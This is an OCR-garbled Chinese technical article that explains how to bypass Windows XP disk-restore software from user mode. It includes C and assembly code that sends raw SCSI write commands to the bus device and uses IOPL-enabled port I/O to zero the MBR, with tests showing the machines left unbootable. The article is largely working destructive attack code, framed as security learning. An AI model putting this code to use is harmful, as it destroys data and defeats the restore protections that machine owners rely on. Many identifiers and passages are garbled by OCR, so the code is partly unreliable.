在写这篇文章之前我犹豫了很久,到底要不要把这些鲜为人知的方法公开了,因为一 旦公开,被人掌握这些技术,那么还原软件的脆弱性则一览无遗,网吧的机子应该就可以 随便的穿透,机器狗是需要加载驱动来进行穿透还原,而我介绍的这种技术不需要加载驱 动则可以穿透还原,你是不是听的有点兴奋,有点热血沸腾;但是我还是要告诉你,技术 是一把双刃剑,利用的好是安全软件,利用的邪恶就是***、病毒等;作为一名***防线 的读者,我相信都是希望立志成为一名网络安全员,为中国互联网的安全纯洁尽一份绵薄 之力。题外话就不说那,下面切入正题。
我记得我最早接触的还原软件是还原精灵,是台湾一家软件公司出品的安全软件,它 最大的神奇之处就在于计算机重启之后,你对计算机磁盘的所有操作:添加、删除、修改 文件、注册表的这些痕迹全部被抹的一干二净,所有的操作都随着计算机重启而”消失 了”。还有就是有一种硬件还原卡也起到相同的效果。当时在学校的机房里,想装点自己 的东西,总是不行,因此我记得当时最流行的手段来过还原精灵就是破解其密码,破解密 码后,重新修改还原精灵的配置,就可以使自己读写磁盘有效,当时由于自己还不会内核 驱动开发,也不知道还原软件的原理,只是觉得太不可思议了。现在由于自己开始学习内 核编程,对还原软件的原理有一定的了解,还原软件主要解决就是数据读写重定向问题以 及重定向读写的效率,目前的还原软件主要以下两种:单点还原、多点还原。以后有时间 我再给各位分享自己这方面的学习研究结果。Windows 64位的操作系统开始,微软意识到 其自身内核安全的问题,其加入了?8^1^^^^1技术,这个技术能够防止内核模式驱动动态 或者替换Windows内核的任何内容;也就是说5501 HOOK、inline HOOK、IAT HOOK、EAT H00K、0^}100&等等,只要是修改了内核模块任何部分,就会蓝屏。也就是“1^(^8 64位 操作系统在内核里封锁了 110抓技术(应用层下仍然可以使用),也就是我们以前学习的H00K 技术无用那,那不是白学习了,你先别急着愤怒,应该愤怒的是所有的安全软件公司,你 想想现在几乎所有的安全软件都在内核中使用了即呢技术,而且都是通过自己反汇编、底 层调试等手段研究出来的,这些关键核心技术一声不响就被微软封杀,你说它恼不恼火, 虽然微软也意识到这个问题,随后提供一些监控的接口,但是这又使所有的安全软件的很 多功能雷同了,难不成微软想把安全这一块留给自己,这现实吗? x86的许多***确实无 法在$64的机器上运行,但是新的问题出现:1014这类病毒完全绕过你的?&如1^^^,它通 过底层读写将自己写在1^?里,也就是即0抓11'技术,在你的?&化1^^^还未启动时,写 入肋0111'驱动,从而隐藏保护自身等。这样完全绕过了所谓了的?3比1^1虹(1技术。说那 这么多,跟Ring3穿透还原有什么的关系,其实我想说的就是1014将自身写入到MBR里,用到的就是穿透技术,如何将自身写入磁盘所保护的位置,这就是关键。由于自身技术和 环境的限制,我还不能给大家介绍64位下的穿透,因此这次给大家介绍的是32位“1^(^8 XP系统下的穿透技术。
这些技术来源于mjOOll在XCON (国内最大的安全焦点会议)2008的一篇文章tophet.a, 搞安全的怕没有几个人不认识MJ0011,此人目前就职于360,号称360首席技术工程师,其 犀利的言论和深不可测的技术被我们小菜所惊奇,特别是他时不时就爆出其他安全软件: 瑞星、微点、金山等甚至微软的Exploit并且在各大安全论坛内不停的指点和抨击。我常 常在想每个人每天只有24个小时,为什么他能完成这么多事,我却不行,难道不吃不喝还 是可以制造出大量的“影分身”。开个玩笑,从技术上来说他确实相当厉害,而其他就无 需多言了,不过中国的互联网本身就是的混沌的情况,30还能大战,一切皆有可能。 首先介绍如何在Ring3下通过构造SCSI指令来穿透还原软件。还原软件的核心技术就是 数据读写重定向和重定向后的数据读写效率的问题,还原软件的驱动一般是磁盘类设备过 滤驱动和卷设备过滤驱动。卷设备驱动、磁盘类设备驱动、总线设备驱动,是从上至下的 顺序的排列的设备堆栈,最底层是总线设备(也就为端口驱动设备),这个从上至下的并不 是理论上的垂直,我这样解释只是方便我们深刻理解,下面是装有还原软件-讯闪(很多网 吧用这个)的设备堆栈示意图1:# ChildEBP EetAddr
0 f9edabf0 804e4d77 atapi!IdePortDispatch 1 f9edac00 f9a8c061 nt!IopfCallDriver+0s31 2 f9edacl4 f9a8bdS8 CLASSPNP!SubmitTransferPacket+0s82 3 f9edac44 f9a8be49 CLASSPNP!ServiceTransferRequest+0xe4 4 f9edacG8 804e4d77 CLASSPNP!Cla***eaHWrite+Dsff 5 f9edac78 f9cd33Gc nt!IopfCallDriver+0s31 0S f9edac88 804e4d77 PartMgr!PmReadTJrite+0x93 7 f9edac98 f985e44c nt!IopfCallDriver+0s31 WARHING: Stack unwind information not available. Following frames may be wrong. 8 f9edad88 f985828d sndisk+0K744c 9 f9edadac 8057efed sndisk+0Kl28d 0a f9edaddc 804fb477 nt!PspSystemThreadStartup+0x34 0b 00000000 00000000 nt!KiThreadStartup+0sl6 Y^<^r 这里sndisk+0xl28d是调用线程读写队列函数的后一条指令,而sndisk+0x744c是线程读写 队列函数体里面执行IoCallDriver函数的后一条指令,还原过滤驱动先于磁盘类设备驱动 或者卷驱动对IPR进行处理,通过获取的四?取得读写指令、读写数据的位置、长度、读写 数据内容等,然后通过一系列复杂的处理(比如:计算读写的重定向的磁盘簇的位置),重 新封装好刚刚处理的IRP,然后把它通过IoCallDriver转发下去,不管是单点还是多点磁 盘还原软件都是用这种方式,不同的是如何计算重定向的位置,不影响读写效率等。以后 我会将自己的学习研究成果与大家一起分享的。我们观察上图1,发现因为构造的3031指 令直接发送总线设备,这就绕过了还原过滤驱动以及一些读写函数110呢的拦截,这就是穿 透还原的真正原理。开始编写代码之前,必须解决两个核心问题:1、如何得到总线设备的 符号连接,因为应用程序是通过符号连接来访为驱动设备的,这里我们采取射成“软件的 方式,如下图2所示,并且使用&扮1#116函数打开设备;2、如何封装5051指令,该指 令核心就是CDB命令描述块的结构,使用DeviceControl函数来发送SCSI指令。
其核心的代码如下:
ULONG GetFuncAddressFromNtdll() HMODULE hModule; hModule=GetModuleHandleA("ntdll. dll"); NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT)GetProcAddress(hModule, "NtOpenDirectoryObject"); if (!NtOpenDirectoryObject) return 0; hModule=GetModuleHandleA("ntdll. dll"); NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT)GetProcAddress(hModule, "NtQueryDirectoryObject。; if (!NtQueryDirectoryObject) return 0; hModu 1 e=GetModu 1 eHand 1 eA(r/ntd 11. dll"); NtOpenSymbo1icLinkObject = (NTOPENDIRECTORYOBJECT)GetProcAddress(hModule, "NtOpenSymbolicLinkObject"); if (!NtOpenSymbolicLinkObject) return 0; hMo du 1 e=GetMo du 1 eHand 1 eA (r/ nt d 11. dll"); NtQuerySymbolicLinkObject = (NTQUERYSYMBOLICLINKOBJECT)GetProcAddress(hModule, "NtQuerySymbolicLinkObjec t"); if (!NtQuerySymbo1icLinkObject) return 0; return 1; //得到物理磁盘对应的总线设备的符号链接,也就是对应的微端口驱动 ULONG QueryDROSymbollinckName(IN PffSTR DeviceName) { HANDLE Openhandle; NTSTATUS status; ULONG result; result=0; /* [〃00806¥1。68〃对应的符号连接〃\\??〃一>来自1化01^逆向 L〃\\SystemRoot〃 对 应 的 符 号 连 接 "\\Device\\HarddiskO\\Partitionl\\Windows" */ //判定是否找到是物理磁盘对应的总线设备的符号链接,这里用〃10f«^4〃来判定 if (!wcsstr(DeviceName, L"IDE#Disk")) return 0; else//注:部分代码有拼写误差(),
result=l;
\ ; return result; ULONG GetBusDeviceName() NTSTATUS status; UNICODE_STRING ObjectName; OBJECT_ATTRIBUTES oa ; HANDLE OpenObject; ULONG BufferLength=0x800; PCHAR Buffer; ULONG uContext; ULONG uResult; ULONG ncount=0; PDIRECTORY_BASIC_INFORMATION pDirObjectinfo = NULL; WCHAR ObjName[0x100]={0}; ULONG Result; Result=0; INIT_UNICODE_STRING(ObjectName, L〃\\GLOBAL??。; InitializeObjectAttributes(&oa, &ObjectName, OBJ_CASE_INSENSITIVE, NULL, NULL); status = (NtOpenDirectoryObject)(&OpenObject, DIRECTORY_QUERY, &oa); if (!NT_SUCCESS(status)) return Result;do
{ BufferLength*=2; Buffer = (PCHAR)malloc(BufferLength); memset(Buffer, 0,BufferLength); status = (NtQueryDirectoryObject)(OpenObject, Buffer, BufferLength, FALSE, TRUE, &uContext, &uResult); }while(status == STATUS_MORE_ENTRIES | | status == STATUS_BUFFER_TOO_SMALL); if (NT_SUCCESS(status)) pDirObjectinfo = (PDIRECTORY_BASIC_INFORMATION )Buffer; //这里取第一个objectname while(pDirObjectinfo->ObjectName. Length!=0 && pDirObjectinfo->ObjectTypeName. Length!=0) / i wcscpy(ObjName, pDirObjectinfo->ObjectName. Buffer);
if (QueryDROSymbollinckName(ObjName)==1)
{ Result =1; wcscpy(BusDevSymbolicName, L"\\\V \\"); wcscat(BusDevSymbolicName, ObjName); OutputDebugStringW(BusDevSymbolicName); break; pDirObjectinfo++; ncount++; memset(ObjName, 0, 0x100); if (Buffer) free(Buffer); return Result; } ULONG bypasswrite_disk(HANDLE hDev, PVOID InDataBuf, ULONG LBA) { ULONG blockCount=l; SCSI_PASS_THROUGH_DIRECT_ffITH_BUFFER sptdwb; ULONG length=0, returnlength=0; ULONG result; result = 1; if (hDev==INVALID_HANDLE_VALUE) return result; ZeroMemory(&sptdwb, sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER)); sptdwb. sptd. Length = sizeof(SCSI_PASS_THROUGH_DIRECT); sptdwb. sptd. PathId = 0; sptdwb. sptd. TargetId = 1; sptdwb. sptd. Lun = 0; sptdwb. sptd. CdbLength = CDB12GENERIC_LENGTH; sptdwb. sptd. SenseInfoLength = sizeof(sptdwb. ucSenseBuf); sptdwb. sptd. DataIn = SCSI_I0CTL_DATA_0UT; sptdwb. sptd. DataTransferLength = blockCount * 512; //这里读写一个扇 区 sptdwb. sptd. TimeOutValue = 5000; sptdwb. sptd. DataBuffer = (VOID *) InDataBuf; //输入的 1^亡亡61,空间为 0x200 sptdwb. sptd. SenseInfoOffset =offsetof(SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER, ucSenseBuf); sptdwb. sptd. Cdb[0] = SCSIOP_WRITE; sptdwb. sptd. Cdb[l] = 0x00; sptdwb. sptd. Cdb[2] = (UCHAR)((LBA » 24) & OxFF); sptdwb. sptd. Cdb[3] = (UCHAR)((LBA » 16) & OxFF); sptdwb. sptd. Cdb[4] = (UCHAR)((LBA » 8) & OxFF); sptdwb. sptd. Cdb[5] = (UCHAR)((LBA » 0) & OxFF); sptdwb. sptd. Cdb[6] = 0x00; sptdwb. sptd. Cdb[7] = (UCHAR)((blockCount » 8) & OxFF); sptdwb. sptd. Cdb[8] = (UCHAR)((blockCount » 0) & OxFF); sptdwb. sptd. Cdb[9] = 0x00; length = sizeof(SCSI_PASS_THROUGH_DIRECT_ffITH_BUFFER); result = DeviceIoContro1(hDev, IOCTL_SCSI_PASS_THROUGH_DIRECT, &sptdwb, length, &sptdwb, length, &returnlength, FALSE); if (result!=0) { OutputDebugString(^Passthough ok!〃); CloseHandle(hDev); result=0; return result; } CloseHandle(hDev); return result; } int main(int argc, char* argv[]) { ULONG result; HANDLE hDevice; char buffer[100]={0}; char outbuffer[200]={0}; ULONG StartLBA; BYTE Inbuffer[0x200]={0}; printf(〃ByPass Disk Revert for test.... \nr/); if (argc!=3) { printf (r/Usage: Passthough <StartLBA (x) >〈select {YES or NO} >\n"); } if (!stricmp((char *)argv[2], "YES")) { if (GetFuncAddressFromNtdll()) { result=GetBusDeviceName(); if (result) { //开始构造IOCTL_SCSI_PASS_THROUGH_DIRECT指令来穿透还原 hDevice = CreateFileW (BusDevSymbolicName, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_READ, NULL, OPEN_EXISTING, 0,0); if (hDevice) { sprintf (buffer, "%sOx%x", 〃获取总线设备符号连接的设备句 柄:",hDevice): OutputDebugString(buffer); //开始穿透还原测试 StartLBA = (ULONG)(atoi(argv[l])); printf(〃StartLBA=%d\n", StartLBA); memset(Inbuffer, 0x38, 0x200); printf("Start ByPass Write!\n"); result=bypasswrite_disk(hDevice, Inbuffer, StartLBA); if (!result) { sprintf(outbuffer,〃%s%d%s〃,〃 穿透磁盘成功,起始第 〈〃,StartLBA, 〃>个扇区被写入数据,自行查看!〃); OutputDebugString(outbuffer); return 2; } } } } } return 0;使用编写好的穿透还原的程序进行测试,环境:windows xp sp3+迅闪还原软件,对MBR整个扇区的内容进行写入测试,计算机重启之后,MBR丢失,效果如下:
这里 IOCTL_SCSI_PASS_THROUGH_DIRECT. IOCTL_SCSI_PASS_THROUGH 这两条指令是差不多,区别是如果不调用IOCTL_SCSI_PASS_THROUGH。是因为基本的微端口驱动访问内存,调用的CDB命令描述块可能需要直接访问内存使用 IOCTL_SCSI_PASS_THROUGH一DIRECT代替。我翻译至MSDN,有点拗口,我来解释一下:就是 如果008的命令描述块要求直接的是内存那么就用IOCTL_SCSI_PASS一THROUGH_DIRECT而不 是100^_5051_?八88_1^«^^如果你还不能理解,请去找一些8081相关资料阅读一下,所 以你用IOCTL_SCSI_PASS_THROUGH也可以,修改一下8口七4界匕8口七丄03七38肚{66因为 IOCTL_SCSI_PASS_THROUGH是没有使用到buffer的指针。网上某人说】扣011给出tophet. a 文档中给出的部分代码没用,好几个暗粧。拜托你自己再仔细看看8081的资料, 因此町0011留言狠狠的挖苦了他,有兴趣的读者可以去网上搜一下《豇呢0和訂呢3穿透 还原..》。还要说最重要的一句,使用者必须具有Adminstrator以上权限才可以使用SCSI 写入权限。
接着我再介绍在1^叩3下直接1/0的方式,也有几个条件:1、8¥81f1权限,2、然后调用 ZwSetInformationProcess给操作进程设置1/0操作的权限,也就是设置参数I0PL。如何让 进程具有5%切^1权限,有几种方法:父进程具有巧社咖权限,那么创建子进程也会继承权 限;父线程具有巧⑶挪权限,那么创建的子线程也可以继承该权卩¥^40^的方法;创 建服务进程,自动就有syste^l权限;H00K ZwCreateProcessEx函数等等。 我采用创建服务进程,然后在服务进程创建子进程,让其继^^^的system权限即可, 下面是直接读写1/0来清零MBR的核心代码:
^r_X/ / 00L IsSystemLevel() { B00L result=FALSE; 0SVERSI0NINF0 osv; CHAR username[30]={0}; DWORD cb=30; ZeroMemory(&osv, sizeof(osv)); osv. dwOSVersionInfoSize=sizeof(osv); //判断操作系统是否为NT以上 GetVersionExA(&osv); if (!(osv. dwPlatformId &VER_PLATF0RM_WIN32_NT)) { result = FALSE; return result; } //判断用户是否是Administrator GetUserNameA (username, &cb); OutputDebugStringA(username); if (stricmp(username, 〃system〃)) { result = FALSE; return result; } return 1; } //进程获取system的权限后,设置I0PL=TRUE,可以在UserM0de操作1/0端口 B00L EnableUserModeHardwareIO() { B00L result=FALSE; DWORD dwProces sID=GetCurrentProces sId(); a 5UBJECTLAYDUT >栏目编》> wlf> HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); HMODULE hNTDLL = GetModuleHandleACntdlLdirO ; DWORD ZwSetInformat i onProce s s_Addres s; ULONG I0PL=1; if (hNTDLL) { ZwSetInformationProcess_Address (DWORD)GetProcAddress(hNTDLL, "ZwSetInformationProcess"); if (ZwSetInformationProcess_Address) { 一 result =IsSystemLevel(); if (result) { —asm{ pushad push 4 lea eax, IOPL push eax push 16 push hProcess call ZwSe11nformationProcess_Address mov result, eax popad } if (!result) result =TRUE; } } } CloseHandle(hProcess); return result; } /m i/o端口读写磁盘,将磁盘的前8个扇区清o int UsermodeByPass() //要写入的磁盘号及磁头号 al, 0x00 //要写入的扇区数量 //要写的扇区号 //要写的柱面的低8位 "柱面高2位 //命令端口 //尝试写入扇区 in al, dx test al, 8 jz short inputs xor ecx, ecx mov cx, 100h mov dx, lFOh lea esi, [inbuf] cli cld rep outsw sti } shutdownsys(); return 0; } int shutdownsys() { _asm mov dx, 0x64 _asm mov al, 0xFE _asm out dx, al return 0; 使用ZwSetInformationProcess设置参数IOPL的值为TRUE时,进程就具有1/0操作权 限,记得去年我写的一篇文章-〈〈内核编程读写CMOS>>,不知道还有没有印象, 里面就提到过0?1〈=10?1时,就可以读写1/0,0?1代表内核模式为0,应用层模式为3;因 此CPL=0<=IOPL —定成立。每个进程都有EPR0CESS->KPR0CESS, PCB里面的参数Iopl如果 丁即艮那么f?1八&5寄存器中I0PL值为3,那么即使0?1=3〈=10?1,所以关键就在于使得条件 0卩1〈=10?1成立,那么就可以读写1/0,所以在内核和应用层里读写1/0其实是一样的,只 是为了能够有读写1/0权限,其他代码就不过多阐述,如何读写磁盘跟如8编程读写一样, 在寄存器里设置读写位置、大小(扇区为单元),然后用0址、化来操作,为了防止关机时, 某些还原软件会通过关机回调函数来恢复咖民因此直接1/0关机。环境^化册SP3 +还原 精灵7。
重启后,MBR被清0,无法进入系统,效果跟前面使用3031指令穿透效果一样。不过这 种方式已经被很多安全软件所监控到,权限提升,意图太明显,1/0读写文件的通用性不好。
RING3下穿透还原的技术肯定不止这两种,核心技术就是想办法绕过还原过滤驱动,将 读写指令往更底层的驱动下发送,当然由于町!^(^8操作系统的封闭性(不开源)、隐蔽性 (内藏很多特性未公开)、脆弱性(程序漏洞)等等,很多***如果研究到了某一块,发现某 些特性正好可以用来穿透还原,也未可知也;早先国内大牛猪头三就放出一个穿透13化,由 于加了多层变态壳,我也没有分析出其穿透还原的原理,以后有机会或者有谁能研究出结果 不妨也放在***防线上交流一下。另外,国外某些知名***论坛也有公布这方面的信息,老 外的技术确实很强;还有一些病毒、***的技术也是来源于此,技术永远在日新月异的更新, 这篇文章我确实写了很长时间,虽然代码早已写出,但是要将原理讲透彻、把复杂问题简单 化有时真的实在很难,谢谢各位读者,仓促之间本文难免有些不足之处,欢迎批评指正!